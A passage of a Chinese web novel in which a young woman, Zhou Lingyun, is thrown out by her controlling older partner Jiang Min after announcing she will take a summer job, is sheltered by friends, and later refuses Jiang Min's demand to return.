沉塘的旧物,水位线下降后再现,并没有被时间彻底腐烂消失,反滋生出许多从前没有的锈蚀,以及黏滑的青苔和淤泥。 原来如此。这个念头升起的瞬间,周灵蕴浑身血都凉了。 她清晰无比意识到,正如猫二永远无法代替小猫,她周灵蕴,也永远代替不了任何人。 更为可怕。若非小猫的离去,她可能一辈子都意识不到。 她就傻傻听信了姜悯。 十五岁的周灵蕴,对这个世界无能为力的周灵蕴,只能劝服自己,替身就替身吧。至少可以留在她身边。 不过三年,十八岁的周灵蕴,已不甘只是取而代之。 她决定做自己,从头开始,书写自己人生的新篇章。 对此一无所知的姜悯端着咖啡杯缓踱步到电视前,弯腰捡起遥控器,“太安静了。” 从周灵蕴离开家住到学校,她就有点受不了安静,电视开着不看,听响儿。 周灵蕴踢掉拖鞋,盘腿坐沙发,顺手捞了个抱枕搂怀里,“我有事要跟你说。” “嗯?”姜悯抿一口咖啡,侧头,眼神瞬间变得剔亮。 她看不见自己,以为伪装足够漂亮,可眼角眉梢处细微的抽动,还是暴露了。她对周灵蕴所有动向始终默默关注,她神经紧绷没有一刻放松过,稍有风吹躁动,立即进入警备状态。 “什么事情呢?”她还装得温婉,语调十分做作。 周灵蕴没忍住笑了下。 天呐,她真的太了解姜悯了。姜悯也太了解她了,她们之间,任何伪饰都可以在瞬间看穿。 “不算什么新鲜事。”周灵蕴垂下眼皮,不敢看她。 还是有点底气不足。 好在她私下排练过很多次。 “之前就说过的,我想去打暑假工。我室友赵圆,我会跟她一起,她答应的,她带我。她放假住表姐家,我们找的兼职地点,在两个人路程都相对较近的地方。” 并非征求姜悯意见,周灵蕴早把一切安排妥当,此时只是告知。 “我们健康证都办了,明天早上九点,准时到店里上班。” 姜悯设想过很多种可能。 周灵蕴正式对她表达不满,她们会进行一场深刻的谈话,关于小猫,关于过去的种种忽略或苛待等。 姜悯甚至想过,周灵蕴跟她分手,说什么想回到小时候,只是单纯姐姐妹妹的关系…… 她偏偏没有想到,她怎么可能想到,周灵蕴真要“独立”了。 姜悯端着咖啡杯的手指不由收紧,指尖因用力而微微泛白。 她面上端庄娴雅只是面具,薄脆一片,愤然作色之下,碎裂得彻底,瞳孔深处两簇赤红的火苗腾地跃起。 “为什么?”她声音陡然拔高,尖锐,像长指甲在黑板上来回划动,激起听觉皮层对此频段本能排斥。 “你缺钱?还是我哪里亏待你了,你为什么要去打工,你要用这种方式来证明什么?” 周灵蕴对姜悯的反应完全意料之中,甚至在她话音未落时就几不可见轻轻点了点头。 看,果然如此。 “不为什么。”周灵蕴表情很淡,带有一丝疲惫的平静,“只是想尝试下别的生活,想靠自己的双手赚取属于自己的财富。我想这应该不难理解。” “尝试别的生活?”姜悯像听到了一个天大的笑话,嘴角勾扯出讥诮的弧度,眼神愈发冰冷锐利。 “在这里的生活让你不满意了?” 她向前逼近一步,惯常的居高临下,审视着周灵蕴,那股盛气凌人欲掌控一切的霸道气场瞬间回归。 “你想借此跟我撇清关系?想着一点点还我的钱,然后就能两清了,是吧。周灵蕴,我告诉你,没那么容易!” 她音调层层拔高,如刀如箭,面上之自信之笃定,甚至之得意。她认为自己精准刺中了周灵蕴的叛变动机。 咖啡杯被她“哐”一声重重搁在茶几,深褐色液体溅出几滴,落在光洁的桌面上。 周灵蕴心脏被那句“两清”刺得抽痛一下。 但她没有退缩,反而抬起眼,直视姜悯几乎要喷火的双眼。 她眼中没有了往日的怯懦依赖,只剩下一种让姜悯心慌的疏离和坚定。 “我没有想过要跟你两清。”周灵蕴的声音依旧平稳,她不可能改变主意。 “那是你自己想的。我只是想去打工,想靠自己赚钱,这跟我你的关系没关系,毫无关系。” “我少你钱了?”姜悯好像完全听不见她说话。 “两回事?”她猛地挥了一下手臂,试图打破什么,大概是一直以来,她们之间的不健康关系于无形生长出的隔阂。 “你告诉我怎么是两回事!你吃我的住我的用我的这么多年,现在突然说要靠自己?你以为靠在奶茶店摇瓶子,给人点头哈腰就能实现阶级跃层啊?周灵蕴,你太天真了!你离了我,你什么都不是!” 她声音因过于激动而有些颤抖,胸口剧烈起伏着,每一个字都包裹着被挑战权威的愤怒,以及难以言喻的,害怕被抛弃的恐慌。 她死死盯着周灵蕴,试图从她脸上找出哪怕只有一丝一毫的动摇,或屈服。 然而周灵蕴只是静静听着,直到她吼完。 直到空气里只剩下她粗重的喘息声。 周灵蕴甚至笑着耸了下肩。 她轻声开口,下达最终审判,语调动作,满是让姜悯绝望的冷静。 “看,这就是为什么我必须要去,你永远觉得我离了你不行,你习惯用钱和过去绑住我。可是姜悯,我不是要证明什么给谁看……” 话及此,周灵蕴闭了闭眼。 她长长吸了口气,再次睁开眼,目光扫过姜悯因盛怒而扭曲的脸,扫过茶几上滴落的褐色咖啡渍,扫过蹲在地板一脸茫然的猫二,最终落回姜悯眼中。 “或许,你说对了,我有想过,试试没有你提供的一切,只靠我自己,到底能不能在社会立足,我也……” 周灵蕴忽然哽咽,“我也不是小猫,死了再找只一模一样的就能替代。” 她终于将那个残忍的隐喻抛出,尽管姜悯此前强调过很多次。 她们好的时候,好得就像一个人,对这个世界的很多,持相同看法。她们同吃同住,生活习惯更是。 因此她们有同样的固执。 “我不是你需要时抱在怀里,不需要时就放在一边的宠物。我代替不了任何人,我只能是我自己,我是周灵蕴。我还是个人,我会长大,我会想走自己的路,我们即便是亲人、恋人,将来我也想要有我自己的生活,我不能,不可能一直花你的钱。” 说完这些,她不再看姜悯惨白的脸,还有那双盛满震惊、受伤,以及更多无法分辨情绪的眼。 周灵蕴双手捂住自己的脸,狠搓两把。 太乱了,说着说着她自己也糊涂了。 “所以到现在为止,你还觉得我把你当作黎双的替身,是吗?”姜悯奇迹般冷静下来,音色变得柔缓。 周灵蕴感觉到姜悯的难过了,雪片一样落在睫毛,冰冰凉。 她想过说些漂亮话哄她的,可她做不到。 自欺欺人的游戏该停止了。 “在小猫离开之前,好多次,我真的说服自己了,我认真想过的,我相信你,我就是我。可在小猫离开之后,我突然看清了。” 无所觉,周灵蕴自顾自点头,被自己说服。 “是的没错,我终于明白了,这就是你的惯用手段,我跟猫二都只是你过去生活的延续。像穿坏的袜子,打碎的瓷杯……很重要,当然很重要了,生活中必不可少……” 周灵蕴话没讲完,姜悯打断,“那你去过自己的生活吧。” 她从沙发起身,冷冷看着周灵蕴,指着门的方向,“你现在就走,立刻马上,你去过自己想要的生活。” “现在?”周灵蕴缓缓起身,“你要我现在就走吗?” 眼泪迅猛,夺眶而出,巨大的伤心扼住她喉咙,她呼吸受阻,“可是,可是我从来没有想过要离开你啊,我只是说,我想去打工。” “你去。”像一尊没有表情的木偶,姜悯冷酷宣布,“周灵蕴,你恢复自由了。” 她上前拉扯,拽着周灵蕴袖子拖着她往玄关方向走,“满足你,以后我不会再管你,你现在就走,离开我的家。” 第96章 扫地出门 周灵蕴十四岁那年离家, 带了两件行李。 她是去上学的,书包当然得带。书包里装的作业和课本,几根水性笔, 一盒涂改液,还有万玉及前后桌几个女生写给她的同学录。 另一个是她爸出去打工带回来的藏蓝色帆布口袋, 可以斜挎也可以手提。包挺大, 但没装几件衣服,姜悯不让, 说到时候给她买。 从十四岁到十八岁,从高中到大学,四年多时间,她原本就没几样的东西早淘汰完了, 现在被扔在电梯厅的,都是姜悯给她买的。 她刚从学校回来,行李箱还没收拾,这时倒省事了,洗漱啦, 内衣啦, 外套裤子啦, 都在里头, 姜悯一趟丢出来。 然后是她放在盥洗台的洗面奶和擦脸膏,她床头跟书桌上的几本名著,砸地板上, 叮咣的。 姜悯也蛮体贴,甚至她晚上睡觉喜欢搂着的那条小鲨鱼也扔出来了。 周灵蕴起先哭得厉害,跪门垫上,爬过去抱着姜悯大腿, 说“可是我从来没有想过要离开你啊”…… 姜悯表情是木的,完全丧失了正常思考的能力,只一劲儿把她往外推。 周灵蕴死抱着不松手,哭得眼睛都看不清东西了,姜悯脸色涨红,头皮蓬乱,指着她,声音完全变了调。 “你不是要独立吗?不用等明天早上了,现在就去。你滚吧,立刻马上滚出我的家,你长大了,翅膀硬了,我管不了你了……” “我错了。”周灵蕴恨不得给她磕头,“姐姐我错了,我再也不敢了,我不去了。” 绝望和恐慌几乎灭顶,周灵蕴又急又怕,好几个瞬间,她恨不得去死。 她咬牙切齿想,死也要死在这个家里,即便人死了魂魄也留在这个家里,看不见摸不着,看姜悯怎么赶她。 与姜悯搏斗,哀求不断,哭泣,周灵蕴浑身发热,后背起汗,血直冲太阳穴,冲得脑袋发晕发痛,直到大门“砰”一声巨响,姜悯彻底将她隔绝门外。 几秒的安静,茫然,周灵蕴精疲力尽倒在地板,仰面看着电梯厅雪白的天花板。 随之而来是一种深冬的干冷,她手脚阵阵发麻,累极,特别想睡觉,心里盼望睡着以后姜悯会大发慈悲把门打开。 不用说什么,把门开开就行了,她醒来看到就知道姜悯是在让她回去了,不走了。 这只是一场情绪失控导致的荒诞闹剧。 事实上周灵蕴也是那么做的。 她枕着书包就那么躺地上,两只眼睛盯着门的方向,直到眼皮开始打架,撑不住疲惫,昏沉沉睡去。 醒来的时候天全黑了。 某个瞬间,她还以为自己躺在家里客厅的沙发上,睡眠中度过的是暑假某个寻常的午后,姜悯出差,她留守在家,她饭后看了会儿电视,不知怎么就睡过去了。 周灵蕴动动胳膊腿,想爬起来,也是这时候清醒过来。地板好凉,她浑身骨头疼。 她已经被姜悯逐出家门了。 电梯厅声控灯亮,周灵蕴爬起来,后背抵墙坐了会儿,恢复了些神智,爬过去把手机捡回来。 手机屏幕也被摔坏了,左上角蛛网般的裂痕如有生命,与她共感,手指触碰时,心底随之泛起绵长痛意。 好在不影响使用,周灵蕴给蛋挞去了电话。 蛋挞前阵子换公司,搬到了周灵蕴的城市,周灵蕴当时想约着吃饭来着,蛋挞说要搬家,事情多,回头找机会,周灵蕴当时正忙着为小猫伤心,就没追问后续。 “你在直播吗?”电话接通,周灵蕴直接问。 “没,你出事了?”蛋挞也够敏锐的。 周灵蕴“嗯”一声,跟蛋挞之间没什么不能说的,“姜老板把我赶出来了。” 电话那端沉默两秒。之前互相寄过东西,蛋挞有周灵蕴的地址,她说“等着”,挂了电话。 周灵蕴等待期间,还盼着姜悯能行行好把门开开放她进去。她望着门的方向,睡地板着凉了,咳嗽几声,把猫二引过来,隔着门细细喵呜。 也是这个时候,周灵蕴发现自己没办法想象出姜悯的样子了。 这在往常是轻而易举的事情,她躺在学校宿舍的小床上,每天都要花一点时间,啥也不干只用来想姜悯。 想象姜悯开车,路怒症不时发作,暗暗咬牙咒骂;想象姜悯背着小包陪客户吃饭消遣,面上笑盈盈,手机里跟她的对话框一串白眼,说“真难伺候”。 想象视频通话里的姜悯一瞬不瞬盯着她,忽而就掉下眼泪,说“我好想你啊”…… 此刻。 门后的姜悯是什么样子呢?她会透过猫眼偷偷看她吗?还在生气吗?哭了吗? 周灵蕴想象不出来了。 是不爱吧,姜悯从来没爱过她。除此外还有什么可以解释今天发生的一切。 “至少我做不到……”唇瓣翕动,周灵蕴小声对自己说。 她做不到。她永远也不可能像姜悯对待她这般,对姜悯。 大悲无泪,大悟无言。 眼眶干涩,周灵蕴一滴眼泪也挤不出来了。 她软绵绵靠在墙边等,半小时后,蛋挞给她发消息,问怎么进,她吸吸鼻子,手机上给蛋挞开了门禁和电梯通行。 意料之外,同行的还有梦真。 周灵蕴手背贴贴脸蛋,匆忙站起,蹲坐久了有点腿麻,险些摔倒。 梦真快步从蛋挞身后走出,伸手扶住她,随后自然把她接进怀里,哄小妹妹的口吻,“哦哦没事了,我们来了。” 眼泪再次夺眶而出,周灵蕴脸埋在梦真肩窝,“呜呜”哭泣。 蛋挞最近在转型,不做亚比了,家里一堆废铁卖给收破烂的,原宿鞋和蛛网裙挂闲鱼,卸掉夸张的黑色眼影,现在是集抽象与才华于一身的美女段子手。 她出门有点着急,没收拾,随便套的卫衣和牛仔裤也很好看。 她头发散着,叉腰在电梯门前站了会儿,瞧着这满地狼藉,走过去拍拍周灵蕴后背,袖口掏出一根皮筋,头发三下五除二绑起来。 “你还有我,我们。” 蛋挞这几年没少赚,还买车了,周灵蕴坐她车后座,旁边梦真陪着,周灵蕴平复下来,扭头四处看看,才发现小哑巴没跟着。 “他人呢?” “早分了。”蛋挞轻飘飘一句,点火发动车子。 周灵蕴“啊”了一声。 “以后再跟你说。”蛋挞踩下油门。 周灵蕴应好。 夜色如墨,车窗外的城市灯火流淌成一条模糊的光河,周灵蕴靠在车后座,车窗半降,夜风拂过她微微发烫的脸,却吹不散心头滞重冰凉。 路灯光晕被车速拉长,又迅速抛在身后,是她跟姜悯一段段无法被抓住的过往。她出神望着窗外飞逝的夜景,世界依旧运转,只是她的世界在门合拢时那一声巨响后,已然停滞碎裂。 巨大的失落和茫然姗姗来迟,她心脏像被掏空一块,冷风呼呼往里灌,每一次呼吸都牵扯起心底钝重的疼痛。 就这样结束了吗? 好不甘心哦。 半小时后,到蛋挞家。蛋挞租的房子在城郊,她的职业对通勤没有要求,小区离周灵蕴学校挺近。 她刚搬过来不久,家里还有点乱,她领着周灵蕴往里走,说幸好租的三居室。 “空的那间,原本打算用来堆衣服,你知道我衣服多嘛。正好,不然你只能睡沙发了。欸真是天注定,当时真真还说,两个人住三居室太浪费了,那中介打算带我去看二居室的,我有点累懒得跑……” “两个人住三居室,还好吧。”周灵蕴脑袋昏沉沉,没往深处想,“余下一间还是可以用来堆衣服啊。” 蛋挞含糊嗯啊一阵,推开房门,“有个一米五的床,房东配了床垫的,待会儿让真真给你找床单铺上。” 周灵蕴快速扫了眼房间,指着床对面那面白墙,“这边你仍然可以用来堆衣服,我占不了多大地方,开学要回学校的。” 蛋挞也不跟她客气,说行。 周灵蕴坐到床垫上,眼神还有些空洞。 梦真把她行李箱推进来,挨着她坐下,摸了摸她脑袋, “你吃饭没?” 周灵蕴摇头。她想说话,却感到喉咙干涩,发不出一点声音,胃里也像塞了团浸透冷水的黑心棉。 “那下楼吃点?”蛋挞晃晃手里车钥匙。 周灵蕴再次摇头,她不想给人添麻烦了,声音微弱,“我没胃口。” “她啥时候把你赶出来的。”蛋挞问。 周灵蕴忍住鼻酸,“可能,中午吧。”她手捂住嘴巴打了个喷嚏,“我下午睡了一觉。” 蛋挞和梦真互相看了眼,梦真把周灵蕴的手抓过来,贴大腿暖着。 梦真跟蛋挞同岁,拿周灵蕴当家里小妹一样心疼的,“晚上我们自己做的饭,青椒炒肉还剩得小半碗,你不想出去的话,我给你煮碗面条吧,再煎个蛋,好不好?” 周灵蕴抬起头,触及梦真温和的眼睛,瘪了瘪嘴。 “没事,你还有我们呢。”梦真说。 周灵蕴坐在客厅吃面,想起小时候,她跟万玉常常去梦真家蹭饭,也是头天晚上的剩菜,放点辣椒油和葱花,就这么拌,几个女孩蹲在屋檐底下,一人捧个大碗,香迷糊。 周灵蕴走出卧室,蛋挞家客厅餐桌边坐着吃面,埋头,热气又熏得眼眶迅速模糊起来。 滚烫的泪珠毫无预兆大颗砸进碗里,混入面汤,她起初极力压抑着,只是肩膀微微颤抖,直到哽咽声再也无法抑制从喉咙涌出。 她好久没吃过这样一碗面了。 离家后就没人给她煮过面了。 蛋挞在客厅中间转呼啦圈,塑料圈摩擦着衣料发出规律的沙沙声。 “你这个姜老板真够狠心的。” 第97章 “是你让我滚的。”…… 失恋, 同时被扫地出门,蛋挞说寄人篱下嘛这种事情早晚的。 “人性这个东西啊,远了看不清, 你容易被骗,太近看得太清, 又犯恶心。最好的办法就是你看清也当作没看清, 囫囵一锅。” 大网红对自己要求严格,掐着表, 呼啦圈左边转十分钟,换右边转,转够半小时,给自己倒了小半杯红酒, 倚在餐桌边晃晃高脚杯,自嘲笑笑,“咋样,咱也上流起来了。” 周灵蕴吃完面,起身欲收碗, 梦真先她一步抢走空碗, “你坐着, 我收拾。” 同时递来一小碗洗好的葡萄, “来餐后水果解解腻。” “别……我洗。”周灵蕴寄人篱下惯了,哪能让主人家又做饭又洗碗的,跟梦真为个空碗在厨房门口差点打起来。 蛋挞喊了两声“周灵蕴”, 没人应,猛一拍大腿,“你这人真是……” 搁下酒杯,她走过去把周灵蕴拉沙发边, 两手按着她肩膀坐下,“我还没说完。” 周灵蕴望一眼厨房方向,水声响起,她认命耸肩,“好吧接着说。” 蛋挞点头,分腿站立在周灵蕴面前,同时举高一手,演讲至激昂。 “我知道你肯定要说,姜老板对你不差,供你上学,给你钱花,给你地方住,你要一辈子当她的内裤,不管她放什么屁都老老实实接着,捏高鼻子使劲闻,分析她头晚吃的什么菜,肠胃怎么样,消化好不好……欸别嫌我话糙,你就说是不是。” 她话是真糙,没办法不嫌,可道理确实是这么个道理。 沉了口气,周灵蕴无可奈何点头。 “所以你有今天都是你自己造的,是你自己把她惯的。”蛋挞说。 “本来你们两个位置就不平等,你还事事顺着她,迁就她,原本只有两三层台阶的差距,她垂着眼皮看你,懒洋洋爱搭不理,现在好,你直接把她捧到屋顶,她眼睛都看不见了,只能用脚底板来感知了,在你身上踩过来踩过去的……” 蛋挞说,她帮你越多,就越不尊重你。 “偏偏你成天受气小媳妇样子,谁看了不想狠狠蹂躏?” “那我要怎么样?”周灵蕴反问。她不觉得自己做错。 “吃软饭就要有吃软饭的觉悟,不然我成什么了,端起碗吃饭放下筷子骂娘,白眼狼,忘恩负义的王八蛋?” 蛋挞浅抠鼻孔,沉思状,半晌说好吧,你说得也对。 她回头去端酒,“我突然想到一个点,就在刚刚,你看,你的话,我会认真听,你说错的我反驳,你说对的我认同。虽然,我其实并没有那么认同,但我会尊重你的意愿和选择,啊不知道这么说你能不能明白……你跟姜老板不一样,你能明白吗?就是你的话,她不一定听。” 周灵蕴微微张开嘴巴。 是了,姜悯从来不把她当回事,她没有也不敢有意见。 给什么吃什么,给什么穿什么,她是姜悯的奴仆,端茶倒水,随叫随到。 “你可能觉得没什么所谓,你心里会说,那些吃啊喝啊的,如果不是她,你一辈子也无法拥有。但你怎么可能一直压抑自己去配合她呢?食物的口味,衣装的颜色风格,这些都是小事,你说好吧不重要,随她,她高兴怎样就怎样,那大事呢?就拿你想打暑假工这档子事来说。以前你什么事都听她的,现在突然不听了,还是这种跟钱挂钩的事情,她不疯才怪!” 说到钱,蛋挞也觉得有点烦,举高酒杯摇头晃脑,“钱啊钱,钱啊钱,罪恶的根源……” 这天晚上,蛋挞说了好多,周灵蕴起初还竖高耳朵听,想跟她学点东西。 后来就不太听得进去了,半死不活歪靠在沙发,几次想把手机掏出来,看姜悯有没有给她发消息。 希望有她的消息,又怕看到她的消息。 想起蛋挞那句“她不疯才怪”,周灵蕴觉得自己是个罪人。 她又惹姜悯不高兴了。 我是个罪人的念头一闪而过,她心里另一个声音冒出来。 ——“你不单是个罪人,你还是个贱人。你可真够贱的,人家那样对你,都那样对你了,把你扫地出门了你还搁这儿反省呢。” 蛋挞喝得半醉,梦真走过来,把她搀回房间躺着,一家人的口气说“别搭理她,两滴猫尿下肚分不清东南西北了。” 周灵蕴摇头笑笑。 “没事。” 这种时候最不能一个人待着,她感激蛋挞。 于是不由想起,几年前,老家山下姜悯家小别墅里,她写给姜悯的那张欠条。 跟蛋挞关系的延续,也是因着姜悯之前借出去的那笔钱。没有姜悯,她跟蛋挞之后还会一直保持联络吗? 姜悯这个名字,早已镌刻进血肉,成为她身体的一部分。 她离不开姜悯。 同样,以她对姜悯的了解,也不相信姜悯会如此轻易放手,让她彻底脱离掌控。 凌晨三点,手机屏幕黑暗中蓦地亮起,嗡嗡震动声撕裂寂静。 周灵蕴意料之中,可屏幕上那一道道裂痕下跳跃的熟悉名字,仍让她心脏骤停一瞬,呼吸凝滞。 她闭上眼,深吸一口气,试图稳住几乎要跃出胸腔的心跳,才颤抖按下接听键。 电话那头,姜悯声音立刻灌入耳中,依旧是熟悉的,不容置喙的居高临下,似乎白天那场狂暴的驱逐只是一场幻觉,或是一个无足轻重的玩笑。 “周灵蕴,你胆子是越来越肥了,还不快给我滚回来?” 黑暗中,周灵蕴怔住。 她一直没睡,身体疲惫得像散了架,每一个关节都在叫嚣着疼痛,大脑却异常清醒,像一台过热的机器,无法停止运转。才知道书本上“胸口沉甸甸像压块大石头”的描写绝非夸张,是真实的生理感知。 眼泪早已流干,眼眶又干又涩,两只眼睛像浸在酸水里的桃子。她终究还是等来了姜悯的电话,却没有预想中一丝一毫的喜悦或感动。 她叫她滚回去?这太可笑了。 巨大的无力和索然席卷,冲刷掉最后一丝残存的期待。 “不是你让我滚的吗?”周灵蕴困惑极了。 是你把我的行李箱,我的书,我的玩偶,甚至牙刷和洗面奶,一样一样丢出家门的。 你全都忘了吗?这才过去多久。 她甚至放下所有尊严跪下来求她,抱着她腿语无伦次保证再也不敢有半点违逆,会乖乖听她话…… 周灵蕴猛地丢开手机,双手死死捂住脸。 原本干涩的眼眶再次决堤,温热的液体无法控制从指缝间溢出,洇湿鬓角。 姜悯,你太过分了。 你怎么可以这样,你好有本领,可以装作无事发生轻描淡写抹去一切。 上一秒残忍驱逐,转眼又理所当然召唤? 粗重喘息,像离水的鱼,周灵蕴努力压抑着喉咙里即将冲出的呜咽。 “我现在命令你回来。”虚张声势的恫吓并未收获料想中的感恩戴德,电话那头的姜悯气焰似乎也随之弱了几分。 周灵蕴扯袖狠狠抹了一把脸。 她掀开被子,摸黑套上外衣,没有惊动隔壁房间的蛋挞和梦真,像一道没有重量的影子,悄无声息滑出大门。 再次站到那扇熟悉的大门前。姜悯的家门前。 它曾给予她无数爱与温暖,也让她体会到什么是万念俱灰。周灵蕴用力按下指纹锁。 猫二早早蹲候在门边,一见她便亲昵挨蹭过来,摔倒在她脚边,发出咕噜咕噜的声音。 心脏细微刺痛,周灵蕴没有像往常一样弯腰回应,沉默绕过玄关。 房中漆黑,唯有电梯厅穿过大门洒落在地面的一片扇形光亮,周灵蕴适应几秒,看清她。 她大概一直没回房间,裹着空调毯缩在客厅沙发,迷迷糊糊,刚睡醒。 “我饿了,给我弄点吃的。”嗓音黏腻,毯下隆起的鼓包动了,她懒洋洋爬起,欠身去够茶几上那个空空如也的陶瓷杯,试图恢复往常那副理所当然。 “我水也喝完了。” 周灵蕴再一次笑了。她轻轻摇头,笑容没有温度,满是疲惫悲凉。 她开口,嗓音因彻夜的哭泣和奔波沙哑不堪,语调却是前所未有的平静,平静得近乎冷酷。 “我滚回来了。但我来只是想告诉你,我不想再这样下去了,姜悯,我们到此为止吧……” 她顿了顿,字句剥离艰难,“欠你的钱,我会一笔一笔慢慢还给你。” 时钟滴答。 几秒的安静后,陶瓷杯炸裂出巨响,姜悯腾地起身,单薄剪影四周似有无形火焰跳跃。 “到此为止?周灵蕴,你别忘了你的今天是谁给的,离了我,你不过是个没钱没势的乡下妞,连高中都上不起!” “是你给的。”周灵蕴从未否认过。 “我感激你,可我对你也不差啊,我照顾你的衣食住行,我关心你的身体健康,还有种种细微情绪问题,我对你同样努力做到了有求必应。” “所以呢?”姜悯厉声。无从辩驳。 “所以……”手臂轻摆一下,周灵蕴话音动作,仍保留几分对她无可奈何的宠溺,“我真的累了。” 她再次哽咽。好讨厌啊,为什么每一次先掉眼泪的那个人都是自己。 “在我们的关系里,我感受到的,痛苦总是大于甜蜜,我一直以为等等就好了……” 红色代表快乐,蓝色代表忧伤,她给了姜悯很多机会,很多次可以把两根数值拉平,让她可以说服自己坚持下去的机会。 可蓝色总比红色多一点。起初只是一点,后来是一段,一大段。再后来红色彻底死去,蓝色疯涨。 “是你让我滚的。” 第98章 你把我当人还是当狗?…… 她怎么敢? 她怎么敢! 周灵蕴的最后一件东西扔出去, 大门轰然合拢,姜悯胸中狂暴仍未平息,像斗兽场底层被困在囚笼的野犀牛, 焦躁冲撞。 她在空旷的客厅来回踱步,脚步又急又重, 要把地板踏穿的力道。 她抓起沙发上的方形靠枕狠摔向墙壁, 还不解气,盛怒之下, 难以自持,举高茶几花瓶砸在地面,让刺耳炸裂声短暂盖过粗重呼吸。 猫二还小,原地怔愣两秒, 才想起逃,浑身毛炸起,呜咽逃窜至周灵蕴卧室。 胸腔燃着团灼热的火,五脏六腑,焦炙痛不堪忍, 姜悯脱力摔靠沙发, 闭眼平复, 不知过去多久, 那股毁天灭地的怒气才渐渐耗尽。 屋子里安静极了,门外也是,只余心跳过速的迟钝余音, 姜悯又缓了缓,才撑身坐起,脚步虚浮挪去门边。 她没有穿拖鞋,足跟与地砖之间持续闷响, 鬼使神差,她旋开猫眼上那个金属小圆盖子,眼睛贴上去。 狭窄的视野里,出现了那个蜷缩在电梯厅地板上的小小身影。 周灵蕴竟然就那么枕着书包睡着了? 姜悯心一揪,火气又消了些。 跟上次一样啊,即便被逐出家门,也只是在电梯厅枕着书包乖乖睡觉。到底年轻,地板那么凉,不担心感冒。 姜悯挺背撤回视线,暗暗沉吟几秒,嘴角莫名勾起弧度,俯身再次贴上。 看吧!周灵蕴根本没地方去。什么独立,什么打工,不过是幼稚的妄想。 离了她,她连一个安全的容身之所都没有,她还有亲人吗?周灵蕴还有亲人吗?老太太也靠她家养着呢! 最后还不是可怜巴巴睡在家门口,像只被雨淋湿的无家可归的小狗,等待着主人的怜悯和再次收留。 小惩大诫罢了。姜悯不觉愧疚。 她的发作全然正当,有理有据。周灵蕴凭什么那样指控她?凭什么认为她还把她当作黎双的替身?她明明没有!她从来没有! 有些话说出来太矫情。她对她怎么样,还用说吗? 她是被冤枉的,被误解的,她受到了不公正的审判! 所以必须要惩罚,要周灵蕴彻底想明白,再乖乖爬到她脚边认错。 届时,她才会纡尊降贵,似乎极不情愿地把门开开,放她进来。 得意忘形,姜悯甚至开始在心里预演周灵蕴痛哭流涕忏悔时,自己该如何保持威严又不失宽容的态度。 好,那你就睡着吧。 女王般的姿态,脚下一旋,翩然转身,姜悯昂首,缓步踱回沙发,回到她的王座。 她等着周灵蕴睡醒,然后爬起,在门外小声呼唤她的名字,哀求,再给她一次机会…… 至于是不是最后一次,不重要,周灵蕴当然还可以再犯,她会采取新的办法,惩治她。 可姜悯万万没想到,她怎么可能想到,周灵蕴叫来了蛋挞。 电梯运行声打破寂静,猫眼里,出现了两个意想不到的身影——蛋挞和梦真。 姜悯起初还抱有希望,她们是来帮着周灵蕴说好话的,她脑袋里飞快闪过一些画面,是蛋挞还带着烟熏妆的两只熊猫眼怼近,门口小声说着话——姜老板,是我,你在里面吗? 要劝,当然要劝。 ——“在一起那么多年了。” ——“谈恋爱虽是没谈多久,但你们的关系可不止是寻常的恋爱关系啊!” ——“是亲人,打断骨头还连着筋呢。” ——“周灵蕴跟你那么多年了,从还是个小孩的时候就跟着了。” ——“有什么事情,咱们坐下来慢慢说。” 姜悯想得挺美。 可她失算了。蛋挞和梦真没有按门铃,甚至没有朝门的方向多看一眼,她们目标明确走向周灵蕴,帮她收捡起满地狼藉,抱住她安抚,随后自然搀扶起她…… 离开了。 蛋挞好像也不化烟熏妆了。 姜悯傻掉。 她们来了,她们来了,还把周灵蕴带走了? 浑身血上涌,姜悯手握住门把。 出去?不,她更不能出去了,那点可怜的骄傲和自尊,把她死钉在门后。 直到电梯门合拢。 “咔哒”一声,门开,姜悯大步走出。 电梯显示面板,数字不断跳跃。 16、15、14……5、4、3…… 直到这一刻,直到周灵蕴真的被带走,直到电梯厅变得空空荡荡,如暴风席卷后的花园,所有色彩凋零,姜悯才猛地意识到,事情脱离了她的预设轨道。 愤怒和得意瞬间抽空,迟来的恐慌如同深海里中无形的暗涌,裹挟着,将她抛入深渊。 姜悯毫无还手之力。 周灵蕴真的走了。 她有地方去的,是了是了,姜悯才意识到。 周灵蕴人缘比她好得多,老家发小,高中同学,大学室友,周灵蕴认识的人可多了。她为人和气,细心又体贴,连公司小助理都喜欢她喜欢得不得了! 周灵蕴被接走了,被接去了一个她不知道的地方。 “轰”一声,信念崩塌。背靠墙壁,姜悯缓缓滑坐在地,四周死般的寂静被无限放大。 姜悯不记得自己是怎么回到房子里的,先前被忽略的,周灵蕴存在的痕迹此刻却变得无比刺眼。 沙发上有个绿色的问号抱枕,周灵蕴最喜欢的,她喜欢把脑袋塞进去,躺沙发上打游戏。 茶几上有她的陶瓷杯,她喜欢喝茶叶,每年春天,老太太明前上山采来野茶自己制,年年给她寄,那茶极苦,但味极香。 然后是阳台上她晾的几件衣服,空气里漂浮着潮湿的洗涤剂清香,随窗外不知何处来的一道微光,打在鼻梁。 恐慌开始蔓延,藤蔓一样缠绕勒紧咽喉。 姜悯呼吸困难。 周灵蕴真的走了,她还回来吗? 房子里还有好些东西,怎么可能扔得完,她在这住了四五年。 再说本来也没打算扔! 迷迷糊糊睡过去,凌晨三点噩梦中醒来,市中心位置的高层住宅,受光污染严重,也亏得这片浑浊的光,让姜悯一眼看到卧在她枕边呼呼大睡的猫二,让她不至于在苏醒后巨大的空洞感中沦陷。 这一次,姜悯毫不犹豫拨通周灵蕴电话。 她受不了了,什么尊严,什么脸面,她全不要了,她只要周灵蕴回到身边。 ——“我命令你回来。” 话音虚弱,姜悯明显底气不足,可她真的没办法了。 门口再次有了响动,是周灵蕴回来,像从前很多次那样,她放学,超市买菜,楼下锻炼…… 心中希望重燃,姜悯以为,周灵蕴会走进来抱她的。 可周灵蕴没有关门,没有去摸猫二,也没有抱她。 周灵蕴甚至不再靠近她。 远远站着,无视她的需求,周灵蕴说,是你让我滚的。 “是你让我滚的。” “是你把我所有东西丢出家门。” “我惹你了?我到底犯了什么错。” “姜悯,我罪不至此吧?” “……不是所有东西。”姜悯细声辩解。 周灵蕴“哈”一声,“不是所有东西,那我还要感激你的大发慈悲了?姐姐,我再跪下来给你磕三个响头好不好!” “可我也让你回来了啊!”姜悯出声回呛。 “我刚才,半个小时前,不是给你打电话了吗?我让你回来。” 姜悯听到一声嗤笑,带着浓浓的鼻音。 “姜悯,我是个人啊,我是个人啊,你把我当人吗?召之即来挥之即去,我是人还是狗,你告诉我,你把我当人还是当狗?” 